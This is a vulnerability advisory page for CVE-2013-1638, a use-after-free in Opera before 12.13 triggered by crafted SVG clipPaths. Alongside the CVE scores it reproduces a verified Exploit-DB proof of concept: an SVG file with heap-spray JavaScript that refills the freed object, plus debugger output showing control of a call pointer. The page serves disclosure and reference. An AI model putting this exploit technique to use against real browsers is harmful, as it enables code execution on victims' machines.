CVE-2013-1638 : Detail

CVE-2013-1638

Code Injection
A03-Injection
78.33%V3
Network
2013-02-08
10h00 +00:00
2013-03-08
09h00 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Opera before 12.13 allows remote attackers to execute arbitrary code via crafted clipPaths in an SVG document.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 24448

Publication date : 2013-02-04 23h00 +00:00
Author : Cons0ul
EDB Verified : Yes

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink"> <g id="group"> <defs> <clipPath id="clip-circle" clip-path="url(#clip-rect)"> </clipPath> <clipPath id="clip-rect"> </clipPath> </defs> <circle id="rect" x="10" y="10" width="100" height="100" fill="green" /> </g> <script><![CDATA[ //Author=Cons0ul var b = new Array(); // this is our spray function where spray is allocated on LFH with exact size 0x78 // so 0x78 size of block is created so far we are creating 0x50000 blocks // to create 0x78 blocks we are using ArrayBuffer(); function feng_shui(){ for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection for(i=0;i<0x50000;i++){ payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine payload[0]=0x6c payload[1]=0x03 payload[2]=0xfe payload[3]=0x7f b.push(payload) } } // bug is use after free in handling of (use tag + clippath) witch try to access freed object // document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)"); var c = document.createElement('use'); c.setAttribute("xlink:href","rect") feng_shui(); document.getElementById('clip-rect').appendChild(c); document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug window.opera.collect() // <------ gc() frees the allocation feng_shui(); // <------------ we allocate our code at freed memory // at the end it tries freed block witch contains our data window.location.href=window.location.href; /* idc !heap -p -a ecx address 077c45e0 found in _HEAP @ b40000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 077c45d8 0010 0000 [00] 077c45e0 00078 - (free) PS C:\Users\cons0ul> idc db ecx 077c45e0 92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 .H.............. 077c45f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4600 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4620 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4650 00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88 ..........j[.... PS C:\Users\cons0ul> idc r eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048 eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 Opera_6b430000!OpGetNextUninstallFile+0xf8583: 6b8c998b ff5008 call dword ptr [eax+8] ds:0023:7ffe489a=???????? */ ]]></script> </svg>

Products Mentioned

Configuraton 0

Opera>>Opera_browser >> Version To (including) 12.12

Opera>>Opera_browser >> Version 12.00

Opera>>Opera_browser >> Version 12.00

Opera>>Opera_browser >> Version 12.01

Opera>>Opera_browser >> Version 12.02

Opera>>Opera_browser >> Version 12.10

Opera>>Opera_browser >> Version 12.10

Opera>>Opera_browser >> Version 12.11

References